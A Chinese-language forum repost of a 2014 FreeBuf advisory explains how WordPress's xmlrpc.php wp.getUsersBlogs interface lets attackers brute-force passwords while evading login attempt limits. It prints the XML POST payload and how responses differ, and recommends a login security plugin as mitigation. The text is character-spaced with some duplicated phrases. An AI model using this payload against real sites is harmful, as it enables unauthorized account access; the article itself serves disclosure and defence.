搜索

[8143] 2014-07-23_利用xmlrpc.php对WordPress进行暴力破解攻击

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-17
2014-07-23_利用xmlrpc.php对WordPress进行暴力破解攻击 利 用 x m l r p c . p h p 对 W o r d P r e s s 进 行 暴 力 破 解 攻 击 子 夏   F r e e B u f   2 0 1 4 - 0 7 - 2 3 近 几 天 w o r d p r e s s 社 区 的 小 伙 伴 们 反 映 遭 到 了 利 用 x m l r p c . p h p 进 行 暴 力 破 解 的 攻 击 。 利 用 x m l r p c . p h p 提 供 的 接 口 尝 试 猜 解 用 户 的 密 码 ， 可 以 绕 过 w o r d p r e s s 对 暴 力 破 解 的 限 制 。 已 经 发 现 了 大 规 模 的 利 用 ， 启 用 了 x m l r p c 的 同 学 需 要 尽 快 修 复 。 安 装 或 者 升 安 装 或 者 升 级 级 L o g i n   S e c u r i t y   S o l u t i n 插 件 插 件 通 常 w o r d p r e s s 登 录 接 口 都 是 做 了 防 暴 力 破 解 防 护 的 ， 比 如 f r e e b u f 的 登 录 只 能 有 尝 试 5 次 。 这 种 利 用 x m l r p c . p h p 的 攻 击 可 以 绕 过 这 些 限 制 。 攻 击 的 方 式 直 接 P O S T 以 下 数 据 到 x m l r p c . p h p . < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " i s o - 8 8 5 9 - 1 " ? > < m e t h o d C a l l >     < m e t h o d N a m e > w p . g e t U s e r s B l o g s < / m e t h o d N a m e >     < p a r a m s >         < p a r a m > < v a l u e > u s e r n a m e < / v a l u e > < / p a r a m >         < p a r a m > < v a l u e > p a s s w o r d < / v a l u e > < / p a r a m >     < / p a r a m s > < / m e t h o d C a l l > 其 中 u s e r n a m e 字 段 是 预 先 收 集 的 用 户 名 。 p a s s w o r d 是 尝 试 的 密 码 。 关 于 g e t U s e r s B l o g s 接 口 的 更 多 信 息 可 以 参 考 官 方 的 指 南 。 如 果 密 码 正 确 ， 返 回 为 ：
密 码 错 误 返 回 为 4 0 3 ： 使 用 i n t r u d e r 进 行 测 试 ， 发 现 服 务 端 没 有 进 行 限 制 。
[ F r e e b u f ： 感 谢 子 夏 ， ： 感 谢 子 夏 ， f r e e b u f 已 第 一 时 间 修 复 该 问 题 已 第 一 时 间 修 复 该 问 题 ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理